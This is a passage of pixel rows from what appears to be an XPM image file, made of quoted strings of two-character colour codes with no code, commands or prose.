", +". . . . h# i# j# g ]_ ^_ /_ (_ __ '( )( :_ <_ [_ }_ |_ 1_ 2_ 3_ 4_ 5_ 6_ 7_ 8_ 9_ 0_ a_ b_ c_ d_ x! e_ f_ g_ h_ i_ j_ e^ {{ k_ t( l_ m_ n_ o_ p_ q_ r_ s_ t_ u_ v_ w_ x_ y_ z_ A_ t( B_ C_ D_ E_ F_ G_ H_ I_ J_ K_ L_ M_ N_ x^ O_ P_ P_ Q_ R_ S_ T_ U_ V_ W_ X_ Y_ Z_ `_ : .: +: @: #: $: %: &: *: =: -: ;: >: ,: ': ): !: ~: {: ]: ^: /: (: _: :: <: [: }: |: 1: H{ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ 2: 3: 4: __ '( */ 5: 6: 7: 8: 9: 0: a: b: c: d: e: f: g: h: i: j: k: l: c_ m: n: o: p: q: r: s: t: u: v: w: x: y: z: A: B: C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: K_ V: W: X: Y: Z: `: < .< +< @< #< $< %< &< *< =< -< ;< >< ,< '< +: )< !< ~< {< ]< ^< /< (< _< :< << [< }< |< 1< 2< 3< 4< 5< 6< 7< 8< 9< 0< a< b< c< H{ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ d< e< f< 4: __ g< h< i< j< k< l< m< n< o< p< q< r< s< t< u< v< w< x< y< z< A< B< C< D< v: u: E< F< G< H< I< J< K< L< M< N< O< P< Q< R< S< T< U< V< q( W< X< Y< Z< `< [ .[ +[ @[ #[ $[ %[ >= &[ *[ %[ =[ -[ -[ ;[ >[ ,[ '[ )[ ![ ~[ {[ ][ ^[ /[ ([ J; _[ :[ <[ [[ }[ |[ 1[ 2[ 3[ 4[ 5[ 6[ 7[ d: 8[ 9[ 0[ a[ b[ c[ d[ e[ f[ g[ h[ i[ j[ k[ l[ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ m[ n[ o[ p[ 4: q[ r[ s[ t[ u[ v[ w[ x[ y[ z[ A[ B[ C[ D[ E[ F[ G[ H[ I[ J[ K[ L[ M[ N[ O[ P[ Q[ R[ S[ T[ U[ V[ W[ X[ Y[ Z[ `[ } .} +} @} #} $} %} &} *} =} -} ;} >} ,} '} )} !} ~} {} ]} ^} /} (} _} :} *' <} [} }} |} 1} 2} 3} 4} 5} 6} 7} 8} H; J; 9} 0} a} b} c} d} e} f} g} h} i} j} (( k} l} m} n} o} p} q} r} s} t} u} v} w} x} y} z} 6' f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ A} B} C} o[ f< D} E} F} G} H} I} J} K} L} M} N} O} P} Q} R} B~ S} F[ T} E~ U} V} W} X} Y} E< R[ Z} F< `} | .| +| @| #| $| %| &| *| =| -| ;| . >| ,| '| )| !| ~| {| ]| ^| /| (| _| :| <| [| }| || 1| 2| 3| 4| 5| 6| 7| 8| 9| 0| a| b| c| d| M> e| f| g| h| i| j| k| l| -; m| n| o| p| q| 3_ r| s| t| u| v| w| x| y| z| A| B| C| D| E| F| <, G| f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ H| I| J| C} o[ f< K| L| M| N| O| P| Q| R| S| T| U| V| W| X| Y| Z| `| 1 .1 +1 @1 #1 $1 %1 Q[ &1 Z} F< *1 =1 -1 R: ;1 >1 ,1 '1 )1 !1 ~1 {1 ]1 ^1 /1 (1 _1 :1 <1 G! [1 }1 |1 11 21 31 41 51 61 61 71 81 L> 91 01 a1 b1 c1 d1 e1 f1 g1 h1 i1 j1 L> k1 l1 m1 n1 o1 p1 q1 r1 s1 t1 D) u1 v1 3_ w1 x1 y1 z1 A1 B1 C1 D1 E1 F1 G1 H1 I1 J1 K1 L1 <, G| M1 E$ . . . . ", +". . . . h# i# j# g ]_ N1 O1 P1 Q1 J| C} R1 S1 T1 U1 V1 W1 X1 Y1 Z1 `1 2 .2 +2 @2 #2 $2 %2 &2 *2 =2 -2 ;2 >2 ,2 '2 )2 &1 Z} F< q( !2 ~2 {2 ]2 ^2 /2 (2 _2 :2 <2 $} [2 }2 |2 12 22 32 42 52 62 72 2/ 82 92 K: 02 a2 b2 S' c2 d2 e2 f2 g2 h2 i2 j2 k2 l2 m2 n2 M> o2 p2 M> q2 r2 s2 t2 u2 v2 w2 x2 %_ y2 z2 A2 B2 w1 C2 D2 E2 F2 G2 H2 I2 J2 K2 L2 M2 N2 O2 P2 Q2 R2 <, G| D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 S2 T2 U2 V2 J| W2 R1 X2 Y2 Z2 `2 3 .3 +3 @3 #3 $3 %3 &3 *3 =3 -3 ;3 >3 ,3 '3 )3 !3 K: s: Z} ~3 Z} {3 ]3 ^3 /3 (3 _3 :3 <3 [3 }3 |3 13 23 33 43 53 63 73 83 93 03 a3 b3 c3 d3 e3 f3 g3 h3 i3 j3 k3 l3 I> m3 n3 o3 p3 q3 r3 s3 t3 u3 v3 w3 x3 y3 z3 A3 B3 C3 D3 E3 F3 }< G3 H3 I3 B2 J3 K3 L3 M3 N3 O3 P3 Q3 R3 S3 T3 U3 V3 W3 X3 Y3 Z3 `3 <, G| D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 4 .4 +4 U2 @4 J| C} R1 #4 T1 $4 %4 &4 s[ *4 =4 -4 ;4 >4 ,4 '4 )4 !4 ~4 {4 /, ]4 ^4 /4 (4 _4 :4 <4 [4 }4 |4 14 24 34 44 54 64 74 84 94 04 a4 b4 c4 d4 e4 f4 g4 h4 i4 j4 k4 l4 m4 n4 t( o4 p4 q4 r4 s4 9( @! t( t4 u4 v4 w4 x4 y4 z4 M, A4 B4 C4 D4 E4 F4 G4 H4 I4 d: J4 K4 L4 w1 M4 N4 O4 P4 Q4 R4 S4 T4 U4 V4 W4 X4 Y4 Z4 `4 5 .5 +5 @5 <, 6' D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 #5 $5 %5 +4 &5 @4 *5 W2 =5 o[ -5 ;5 %4 >5 ,5 '5 )5 !5 ~5 {5 ]5 ^5 /5 (5 _5 :5 <5 [5 }5 Q[ :4 |5 Q[ L: 15 25 35 45 55 65 75 85 95 05 a5 b5 c5 d5 e5 f5 g5 h5 i5 j5 k5 l5 m5 n5 o5 p5 q5 r5 s5 t5 u5 v5 w5 e^ x5 y5 z5 A5 `} B5 C5 Q, D5 E5 F5 G5 H5 I5 J5 K5 L5 M5 (( N5 w1 J3 O5 P5 Q5 R5 S5 T5 U5 V5 W5 X5 Y5 Z5 `5 6 .6 +6 @6 #6 $6 %6 l[ [, D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 &6 *6 =6 %5 -6 &5 U2 ;6 >6 ,6 '6 )6 !6 ~6 {6 ]6 ^6 /6 (6 _6 :6 <6 [6 }6 |6 16 26 36 46 56 :4 _4 66 %} 76 86 96 06 a6 b6 c6 d6 e6 f6 04 g6 h6 i6 j6 k6 l6 m6 n6 o6 p6 q6 r6 s6 t6 u6 v6 w6 x6 y6 z6 A6 B6 F< C6 G< D6 E6 F6 G6 H6 M, d| I6 J6 K6 L6 M6 N6 O6 P6 k} Q6 J3 x[ R6 S6 T6 U6 V6 W6 X6 Y6 Z6 `6 7 .7 +7 @7 #7 $7 %7 &7 *7 =7 -7 H{ !; D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 ;7 >7 ,7 =6 %5 -6 &5 U2 '7 )7 !7 ~7 {7 ]7 ^7 /7 (7 _7 :7 <7 [7 }7 |7 17 27 37 47 b2 57 67 :4 <4 F< 77 87 97 07 a7 b7 c7 d7 e7 g^ a5 f7 g7 h7 i7 j7 k7 l7 m7 n7 o7 p7 -, q7 r7 s7 t7 u7 v7 w7 x7 y7 z7 :4 :4 Z} A7 B7 C7 D7 G6 E7 F7 G7 H7 I7 J7 K7 L7 M7 N7 O7 J3 M4 P7 Q7 R7 S7 T7 U7 V7 W7 X7 Y7 Z7 `7 8 .8 +8 @8 #8 $8 %8 &8 *8 =8 -8 U] ;8 D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 ,8 '8 )8 !8 =6 ~8 -6 {8 ]8 ^8 /8 (8 _8 :8 <8 [8 }8 |8 18 28 38 48 58 -4 B2 68 78 88 G< 67 :4 67 98 08 a8 b8 c8 d8 8! e8 f8 05 g8 %} h8 i8 j8 k8 l8 m8 n8 o8 p8 q8 r8 s8 t8 u8 5] U, !{ v8 w8 x8 y8 z8 A8 A8 B8 C8 56 57 D8 B5 M> E8 F8 G8 H8 I8 J8 K8 L8 M8 M4 N8 O8 P8 Q8 R8 S8 T8 U8 V8 W8 X8 Y8 `7 Z8 `8 9 .9 +9 @9 #9 $9 %9 &9 *9 =9 /- e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 -9 ;9 >9 ,9 !8 ,7 '9 )9 !9 ~9 {9 ]9 ^9 /9 (9 _9 :9 <9 [9 }9 |9 19 29 39 49 59 69 79 E< 67 _4 Q[ 89 99 09 a9 b9 c9 d9 e9 f9 g9 h9 i9 j9 k9 l9 m9 n9 o9 p9 q9 r9 s9 t9 u9 v9 w9 x9 y9 z9 A9 05 *1 B9 Z} B8 C9 B8 C8 F< D9 E9 F9 G9 H9 I9 J9 K9 L9 M9 N9 O9 P9 Q9 R9 S9 T9 U9 V9 W9 X9 Y9 Z9 `9 0 .0 +0 @0 #0 $0 %0 &0 *0 =0 -0 ;0 >0 ,0 '0 2= e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 )0 !0 ~0 >9 ,9 !8 {0 ]0 ^0 /0 (0 _0 :0 <0 [0 }0 |0 10 20 30 40 50 60 70 80 90 00 *~ (4 <4 67 E< a0 b0 c0 d0 e0 d: f0 g0 6] y4 q( h0 i0 j0 k0 l0 m0 n0 o0 p0 q0 r0 s0 t0 u0 v0 w0 x0 y0 z0 A0 B0 E< C0 A8 B8 A8 )2 C7 D0 E0 F0 G0 H0 I0 J0 K0 L0 M0 N0 O0 P0 Q0 R0 S0 T0 U0 V0 W0 X0 Y0 Z0 `0 a .a +a @a #a $a %a &a *a =a -a ;a >a ,a 'a 2= e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 )a !a ~a {a ]a ^a /a (a _a :a b ,b 'b )b !b =a ~b {b ]b ^b /b (b E% e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 _b :b c ,c 'c )c !c ~c {c ]c ^c /c (c _c :c d ,d 'd )d !d ~d {d ]d ^d /d (d _d :d e ,e fb 'e )e !e ~e {e ]e ^e ^e /e (e _e :e f ,f 'f )f !f ~f {f ]f ^f /f (f _f :f g ,g 'g )g !g ~g {g ]g ^g A9 /g Nf V' (g _g :g h ,h 'h )h !h ~h {h ]h ^h /h ^h (h _h :h i ,i 'i )i !i ~i {i ]i ^i /i (i _i :i f ai bi ci di ei fi gi hi ii ji ki li mi ni oi pi qi ri si ti 5b ui vi wi xi yi zi Ai Bi Ci Di Ei Fi Gi Hi Ii Ji Ki Li wg ge d# e# D$ E$ . . . . ", +". . . . h# i# j# g Eh Mi Ni Oi Pi Qi Ri Si Ti Ui Vi Wi Xi Yi Zi `i j .j +j @j #j $j %j &j *j =j -j ;j Xg @i s: Pf >j ,j 'j )j !j ~j {j ]j y9 ^j /j (j _j :j k ,k 'k )k !k ~k {k ]k ^k /k 0i @i Pf Pf L: (k _k :k l ,l 'l )l !l ~l {l ]l ^l j /l (l _l :l m ,m 'm )m !m ;l ~m {m ]m ^m /m (m _m :m n ,n Wj %m d# e# D$ E$ . . . . ", +". . . . h# i# j# g &m Mi 'n )n !n ~n {n ]n ^n /n (n _n :n o ,o 'o )o *n !o ~o {o ]o ^o /o (o Wj %m d# e# D$ E$ . . . . ", +". . . . h# i# j# g &m _o :o p ,p 'p )p !p ~p {p ]p ^p /p (p _p :p

    q ,q 'q )q !q ~q {q ]q ^q /q (q _q :q Mq Nq Oq Pq Qq Rq Sq Tq Uq Vq Wq Xq Yq Zq `q r .r +r @r #r $r %r &r *r Hq =r -r ;r >r ,r 'r )r !r ~r {r ]r ^r /r (r _r :r s ,s 's )s !s ~s {s ]s ^s /s =r (s _s :s r @t #t $t %t &t *t =t -t ;t >t ,t 't )t !t ~t {t ]t ^t /t (t _t :t u ,u 'u )u !u ~u {u ]u ^u /u (u _u :u v ,v 'v *u /s )v !v ~v {v ]v ^v /v Pn -t (v _v :v w ,w 'w )w !w ~w {w ]w ^w /w (w _w :w x ,x 'x )x -v !x ~x {x ]x @w ^x /x (x _x :x y ,y 'y nr )y &x !y *x ~y d# e# D$ E$ . . . . ", +". . . . h# i# j# g sr Zv {y ]y ^y /y (y _y :y {x z ,z 'z )z !z ~z {z ]z ^z 'y nr )y /z (z fq ~y d# e# D$ E$ . . . . ", +". . . . h# i# j# g sr Zv _z :z A ,A 'A )A !A ~A {A ]A ^A /A (A -y _A :A B ,B 'B )B !B ~B =z {B ]B ^B /B (B rs _B :B C ,C 'C )C !C ~C {C ]C ^C /C (C _C :C D ,D 'D )D !D ~D {D ]D rs ^D /D (D _D :D x fD gD hD iD jD gB kD lD mD nD oD pD qD rD sD -x tD uD vD wD xD yD zD AD BD CD DD ED FD GD HD ID JD KD LD MD E ,E 'E )E !E /D ~E {E ]E ^E /E (E _E :E F ,F 'F )F !F ~F {F ]F ^F /F (F _F :F G ,G 'G )G !G ~G {G ]G ^G /G (G _G :G H ,H 'H )H !H ~H {H ]H ^H /H (H _H :H I ,I 'I )I !I ~I {I ]I ^I /I (I _I :I J ,J 'J )J !J ~J {J ]J ^J /J (J _J :J K ,K 'K )K =H !K ~K {K ]K ^K /K (K _K :K L ,L 'L )L !L ~L {L `D ]L ^L /L /L (L _L :L M ,M 'M )M .J !M ~M {M 'H ]M .E wF ^M /M (M _M :M N ,N 'N )N !N ~N {N ]N ^N /N (N _N :N O ,O 'O )O !O ~O {M {O ]O ^O [D /O (O _O :O P ,P 'P )P !P ~P {P ]P ^P /P (P _P :P

    Q ,Q 'Q )Q !Q ~Q {Q ]Q ^Q /Q (Q _Q :Q qJ (O R ,R 'R )R !R ~R {R ]R ]R ^R /R (R _R :R S ,S 'S )S ]R _P !S ~S >I {S T ,T 'T )T !T ~T {T ]T ^T /T (T 1S _T bQ :T U ,U 'U )U !U ~U {U ]U ^U /U (U Bu _U 6T Uw :U V ,V 'V )V !V ~V {V ]V ^V /V Bu (V Uw _V :V W ,W 'W )W !W ~W !W )W 1V {W ]W ^W 0T 2U 2U 4V mS mS /W 4U (W yO _W fq rr d# e# D$ E$ . . . . ", +". . . . h# i# } |. :W X ,X fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } |. )X !X ~X {X ]X ^X /X (X _X :X :X Y ,Y 'X d# e# D$ E$ . . . . ", +". . . . h# i# } p 'Y )Y !Y ~Y (A {Y ]Y ^Y /Y (Y _Y :Y Z ,Z 'Z )Z !Z {J {E ~Z {Z ]Z ]O ^Z fV /Z rs (Z _Z :Z sY ` ,` '` '` ,` )` !` ~` {` ]` ^` /` (` _` :` <` [` }` |` 1` 2` 3` rs 4` 5` 6` 7` HP 8` 9` ~J 0` a` xG b` c` d` e` f` g` h` i` j` k` l` m` n` o` p` q` r` s` t` u` v` w` x` y` z` A` B` C` D` E` F` wZ G` #x H` 0 I` J` YX rs a` K` L` M` N` rI O` wP P` Q` @Z @Z #Z ZZ R` R` S` T` `Z *Z U` fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ q V` W` X` rs :Q ~S Y` Y` Z` `` rs .. .+ .@ .# .$ .% .& .$ .* .= .- .; .> ., .' .) .! .~ .{ .] .^ ./ .( ._ .: .< .'` [ .} .| .1 .1 .2 .3 .4 .;G $K rs 5 .6 .7 .8 .9 .0 .a .b .c .d .e .f .rs g .h .i .j .k .l .m .n .o .p .q .)z r .qF 3Y s .t .N` u ..Y .Y aE v .w .x .y .z .rs A .B .C .D .E .F .G .xN uO 4V #Z #Z ZZ H .I .S` `Z J .K .fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ q L .M .N .kQ ;G O .P .Q .R .S .T .U .V .W .X .Y .Z .` .` . .....+..@..#..$..%..&..*..=..-..;..>..,..'..)..tS !..~..{..]..^../..(.._../..:..<..3S [..}..|..rs 1..2..3..4..5..6..7..8..9..0..a..b..c..d..e..f..g..h..i..j..k..l..m..n..o..p..q..r...w s..t..u..v..w..x..y..z..A..B..rs rs Tt C..D..E..F..G..lr xM $Z YZ H..I..I .I .J..K..L..fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ k M..N..O..GO ZT P..P .Q..R..rs xZ S..#T T..U..EO V..W..V..EO X..X .Y..Z..rs `.. +..+.++.@+.#+.$+.%+.&+.*+.=+.-+.;+.>+. E ,+.pS FP BQ '+.)+.!+.~+.{+.,B mQ ]+.rs ^+./+.(+._+.:+.<+.[+.}+.|+.1+.2+.3+.4+.5+.6+.7+.8+.9+.0+.a+.b+.c+.d+.e+._U f+.g+.h+.i+.C` j+.k+.l+.m+.n+.o+.p+.q+.r+.s+.rs rs t+.u+.v+.w+.x+.qG wK &Z H..H..H .I .J..K..L..fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ >Z )X y+.z+.A+.B+.;+.C+.D+.E+.r..F+.G+.(P H+.DO W..I+.I+.V..J+.K+.]R #A L+.M+.N+.O+.P+.Q+.EY R+.rs S+.T+.U+.-+.V+.W+.X+.Y+.Z+.`+. @..@.+@.CP @@.#@.$@.%@.&@.*@.=@.-@.;@.>@.,@.'@.)@.!@.~@.{@.]@.^@./@.(@._@.:@.<@.[@.}@.|@.1@.2@.3@.4@.5@.6@.7@.8@.9@._C 0@.a@.b@.c@.d@.e@.F .bD f@.g@.h@.b` rs rs i@.j@.k@.l@.m@.n@.yK %Z R` H..o@.J..p@.q@.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# i# .` p r@.s@.t@.u@.!+.;+.v@.w@.rs x@.y@.z@.,+.A@.W..B@.I+.C@.EO D@.E@.F@.G@.rs H@.I@.J@.XT K@.C+.rs L@.M@.N@.ZT QV HX O@.P@.Q@.JX )+.R@.EO DN S@.V..T@.U@.V@.W@.X@.Y@.Z@.`@. #..#.+#.@#.##.$#.%#.&#.*#.=#.-#.;#.>#.,#.'#.)#.!#.~#.{#.]#.^#./#.(#._#.:#.<#.8@.[#.}#.|#.1#.aC 2#.3#.4#.}#.5#.6#.7#.8#.Mt rs rs 9#.0#.a#.b#.n@.wJ &Z o@.c#.d#.e#.f#.fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } |. g#.h#.i#.j#.k#.;+.l#.m#.rs n#.o#.W+.pS DN p#.q#.p#.S@.r#.pS s#.G+.t#.u#.v#.X+.YT w#.x#.y#.z#.A#.B#._T C#.D#.E#.cT F#.]..G#.H#.I#.J#.K#.V..p#.p#.C@.L#.M#.N#.O#.P#.Q#.R#.S#.T#.U#.V#.W#.X#.Y#.Z#.`#. $..$.+$.@$.#$.$$.%$.&$.*$.Q..=$.-$.;$.>$.,$.'$.)$.!$.~$.{$.]$.^$.3Y /$.($.pG pG %.DK ,%.Q@.'%.)%.rs !%.mQ QV ~%.A@.{%.c$.EN A@.]%.^%./%.=Q (%._%.~+.:%.<%.[%.}%.rs x@.|%.Mw 1%.2%.3%.4%.5%.i$.6%.rs 7%.8%.9%.0%.a%.CO b%.c%.c%.d%.e%.f%.g%.h%.i%.j%.k%.l%.m%.n%.o%.p%.q%.r%.s%.t%.u%.v%.w%.x%.y%.z%.A%.]Y B%.C%.D%.E%.F%.G%.H%.I%.J%.K%.Lv L%.M%.N%.rs O%.P%.=%.Q%.R%.S%.T%.U%.FQ rs rs V%.W%./@ X%.dE p@.c#.d#.4$.fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } Y%.Z%.`%.i#..@. &..&.+&.8U rs {Z |D D#.Q@.,%.@&.CP zQ #&.$&.v$.%&.&&.*&.=&.$&.0%.TV -&.z@.rs ;&.>&.rs 9D ,&. X '&.=C 9%.)&.!&.t#.~&.{&.$B ]&.#F d%.q#.q#.^&./&.(&._&.:&.qQ <&.[&.}&.|&.1&.2&.3&.4&.5&.6&.7&.8&.9&.0&.a&.b&.c&.d&.e&.f&.g&.h&.Fu 'W I%.i&.j&.i&.k&.$X %Y l&.m&.n&.rs fD o&.p&.q&.r&.s&.t&.u&.v&.rs rs w&.x&.y&.z&.AM J..d#.4$.fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z .` p r@.A&.B&.C&.D&.E&.{U F&.rs G&.Q$.LZ H&.I&.J&.q$.q$.,%.K&.L&.M&.rs *.,*.'*.)*.!*.~*.{*.]*.^*./*.(*._*.:*.<*.[*.}*.rs |*.1*.i# 2*.U$.3*.j&.4*.5*.6*.)W =z 7*.8*.9*.a` nF 0*.a*.b*.c*.d*.e*.f*.jD rs g*.h*.i*.j*.k*.;%.K..l*.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ >Z m*.n*.o*.p*.q*.V&.r*.s*.~J rs V%.t*.u*.v*.w*.x*.,%.N#.N&.y*.%` z*.-&.Y&.#@.A*.B*.C*.D*.E*.OS F*.dV G*.H*.I*.J*.a%.K*.L*.M*.N*.,+.rs O*.P*._&.Q*.R*.#*.S*.S*.T*.U*.V*.W*.X*.Y*.Z*.`*. =..=.+=.@=.#=.$=.%=.&=.*=.==.-=.;=.>=.,=.Gt !x '=.VW )=.!=.~=.{=.]=.5*.^=./=.(=._=.pR :=.<=..%.rs A*.[=.'y 'y }=.|=.1=.2=.3=.rs 4=.5=.`$.6=.7=.8=.l*.9=.'X d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=.q a=.b=.c=.d=.=C e=.f=.c` g=.h=.rs yG B .i=.j=.u@.k=.Q+.l=.s#.7%.YT m=.X&.a%.zQ n=.o=.p=.dC rs rs q=.r=.s=.L*.t=.d%.u=.v=.w=.x=.N*.y=.[D {A z=.A=.B=.C=.S*.#*.D=.E=.F=.Yy n&.G=.rs H=.I=.J=.K=.L=.M=.N=.O=.P=.Q=.R=.S=.T=.U=.V=.W=.X=.$ ./Y rs Y=.Z=.`=. -.(=.^=..-.+-.@-.#-.pR $-.%-.&-.rs 7@.*-.=-.--.;-.j*.>-.,-.'-.rs )-.!-.~-.{-.]-.^-.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=./-.(-._-.:-.<-.5E m=.[-.}-.|-.RY 1-.rs rs rs rs 2-.3-.4-.5-.6-.7-.FY s=.8-.9-.0-.a-.b-.c-.d-.rs rs e-.f-.g-.h-.i-.C=.j-.k-.l-.m-.F .CI rs n-.o-.p-.q-.D=.D=.r-.r-.s-.t-.u-.v-.w-.mI x-.y-.z-.A-.B-.C-.D-.E-.F-.G-.H-.I-.J-.K-.L-.M-.N-.O-.P-.wR Q-.R-.a*.S-.T-.U-./=.V-.W-.X-.Y-.yP xs Z-.J*.A .`-. ;.Bs &x .;.+;.@;.} .rs rs #;.$;.%;.&;.*;.=;.-;.d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=./-.;;.>;.,;.<-.4C ';.^U );.(C !;.~;.lH {;.];.^;./;.(;._;.:;.<;.VW [;.};.|;.1;.d%.k-.2;.3;.4;.5;.rs rs 6;.7;.8;.9;.C=.0;.T*.a;.b;.c;.d;.rs ]%.fS e;.f;.g;.h;.i;.i;.j;.k;.l;.m;.n;.o;.rs p;.q;.r;.s;.t;.u;.v;.w;.x;.y;.z;.A;.C .B;.rs C;.&T .-;.d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=.q .>.+>.@>.rs NK #>.$>.fQ %>.&>.*>.=>.: .v*.bD ->.;>.m-.>>.D@.rs '&.,>.'>.)>.i%.T*.(&.!>.~>.N*.FM {>.]>.EK ^>.9;.C=.0;.T*.%*./>.(>.W@.rs ,%._>.:>.f;.i;.h;.i;.i;.<>.[>.}>.|>.1>.R@.rs 2>.3>.4>.5>.6>.7>.8>.9>.0>.a>.b>.c>.Ou T;.wF <;.d>.&w e>.f>.7-.g>.h>.Xw &X i>.W-.j>.k>.l>.m>.n>.vO o>.p>.q>.r>.s>.}A jF t>.u>.v>.w>.rs rs #;.x>.y>.z>.A>.-;.E% e# D$ E$ . . . . ", +". . . . h# ;Z (@ q ,Z B>.C>.D>.rs E>.F>.8%.G>.H>.rs I>.4C J>.K>.L>._&.&*.M>.N>.rs O>.uM b;.+*.k-.P>.k-.Q>.2;.R>.S>.T>.d+.V*.Q*.U>.#*.V>.W>.F=.Yy X>.H+.rs Tx .Z>.i;.`>.h;.i;. ,..,.+,.@,.#,.$,.rs %,.&,.*,.=,.-,.;,.>,.,,.',.),.!,.$>.vM ~,.}N i+.{,.],.^,./,.(,.rs _,.:,.<,.[,.l>.k>.j>.},.|,.1,.ZZ vI 2,.3,.i+.4,.5,.}A AL 6,.7,.8,.Qw rs GN 9,.0,.a,.b,.-;.E% e# D$ E$ . . . . ", +". . . . h# ;Z j# p c,.d,.e,.f,.g,.rs rs rs rs a@.~+.h,.>>.$,.V*.i,.i,._&.Tx j,.k,._R l,.m,.n,.U*.o,.T*.p,.q,.r,.s,.t,.u,.v,.w,.x,.h;.h;.y,.z,.m;.b#.A,.&&.B,.C,.D,.E,.F,.F,.G,.H,.I,.J,.+,.K,.L,.Mv 4` C&.M,.N,.O,.P,.Q,.R,.S,.T,.@z U,.V,.W,.X,.Y,.gT Z,.`,. '..'.+'.@'.#'.$'.tQ =X %'.&'.j>.k>.*'.='.-'.wQ ;'.>'.,'.''.)'.}A zK !'.~'.{'.]'.rs hP @%.^'./'.('._'.E% e# D$ E$ . . . . ", +". . . . h# i# } p r@.:'.<'.M>.['.e=.}'.JX |'.vs 4#.R>.8;.1'.2'.y,.3'.r,.4'.5'.1A rs n..uJ 4'.6'.$*.g;.7'.8'.9'.0'.a'.0'.9'.b'.i;.h;.x,.a'.c'.d'.n&.e'.f'.g'.h'.i'.j'.k'.k'.l'.m'..,.n'.o'.p'.q'.r'.s'.t'.u'.b#.v'.w'.x'.y'.Y` ZW z'.A'.B'.C'.D'.E'.F'.J#.G'.H'.I'.J'.K'.L'.M'.N'.^W O'.P'.k>.Q'.R'.S'.T'.R` yM U'.1;.V'.W'.X'.Y'.X'.Z'.`'.jR rs rs )..).+).@)._'.#).e# D$ E$ . . . . ", +". . . . h# i# } |. :W $).%).s,.&).*).=).-).;).&).>).,).v,.f;.').s-.)).!).~).{).]).rs ^)./).().,)._).g;.h;.h;.h;.r-.g;.:).j;.i;.<).i;.[).!).}).|).V@.rs |;.1).2).3).J,.k'.I,.m'.4).5).3).R$.@y 6).7).s'.g>.8).9).0).=-.a).b).BI c).d)._#.e).XZ f).%-.'>.g).h).i)._>.j).k).l).m).n).2U o).|,.p).R'.R'.q).r).s).4U t).u).v).w).x).y).z).Z;.A).B).]D rs C).D).E).F).G).#).e# D$ E$ . . . . ", +". . . . h# i# j# |. vH H).I).J).:>.}).K).K).}).L).}>.M).k;.').N).:).O).P).Q).R).S).T).rs U).V).:>.t-.b'.<).W).W).W).X).X).W).W).`>.G,.k;.Y).Z).cD `). !.Pu U$..!.5).+!.k'.@!.#!.$!.%!.&!.iS As *!.=!.a` -!.;!.>!.,!.'!.)!.B'.!!.~!.{!.]!.^!./!.(!._!.:#.:!..}!.|!.1!.<-.xM 4U 2!.='.R'.R'.q).q).3!.4!.I .5!.6!.7!.p,.8!.9!.0!.a!.C'.b!.c!.rs d!.e!.f!.g!.h!.#).e# D$ E$ . . . . ", +". . . . ^@ i# j# g i!.j!.k!.E=.l!.m!.!).!).t-.Z>.y,.s-.g;.i;.h;.h;.h;.s-.n!.:>.o!.g-.rs mD p!.q!.a'.g;.r!.s!.t!.t!.t!.t!.t!.t!.X). ,.u!.v!.w!.x!.rs y!.xs z!.A!.l'.B!.B!.C!.D!.E!.F!.w'.G!.H!.(!.p#.rs I!.J!.K!.L!.M!.AL N!.O!.P!.<,.t).Q!.R!.S!.T!.U!.V!.]!.x!.W!.a).X!.1B $W o,.Y!.Z!.`!. ~. ~..~.R'.+~.@~.#~.&Z $~.%~.&~.*~.=~.-~.;~.>~.,~.#&.rs '~.)~.!~.~~.h!.#).e# M1 g# . . . . ", +". . . . {~.Z. ]~.g ^~./~.(~._~.:~.<~.<~.[~.}~.|~.1~.2~.3~.3~.3~.4~.4~._~.5~.6~.7~.8~.9~.0~.a~.b~.c~.d~.e~.f~.g~.g~.f~.g~.f~.h~.f~.i~.j~.k~.l~.0~.m~.n~.o~.p~.q~.r~.s~.t~.u~.v~.j~.w~.x~.y~.z~.A~.B~.C~.D~.E~.F~.G~.qr H~.I~.J~.K~.L~.K~.M~.N~.O~.P~.Q~.R~.S~.T~.U~.V~.W~.X~.Y~.Z~.`~. {..{.+{.@{.#{.${.%{.&{.*{.={.-{.;{.>{.,{.'{.){.!{.~{.{{.]{.^{./{.({._{.:{.<{.E% [{.{@ }{.. . . . ", +". . . . |{.1{.2{.|. 3{.4{.5{.6{.7{.7{.7{.7{.7{.7{.8{.8{.8{.8{.8{.8{.8{.9{.0{.a{.b{.c{.d{.e{.f{.g{.h{.0{.9{.7{.7{.7{.7{.7{.7{.7{.i{.j{.k{.l{.m{.n{.o{.p{.q{.r{.s{.9{.7{.i{.t{.u{.v{.w{.x{.y{.z{.A{.B{.C{.D{.E{.F{.G{.b{.H{.g{.I{.J{.F).K{.L{.M{.N{.O{.P{.E{.Q{.R{.S{.T{.U{.V{.W{.X{.Y{.Z{.`{. ].,Y ,Y ,Y ,Y .].+].@].#].J{.$].%].&].b,.*].U{.=].j .-].;].>].,].'].)]./. !].~].{].. . . . ", +" . . . 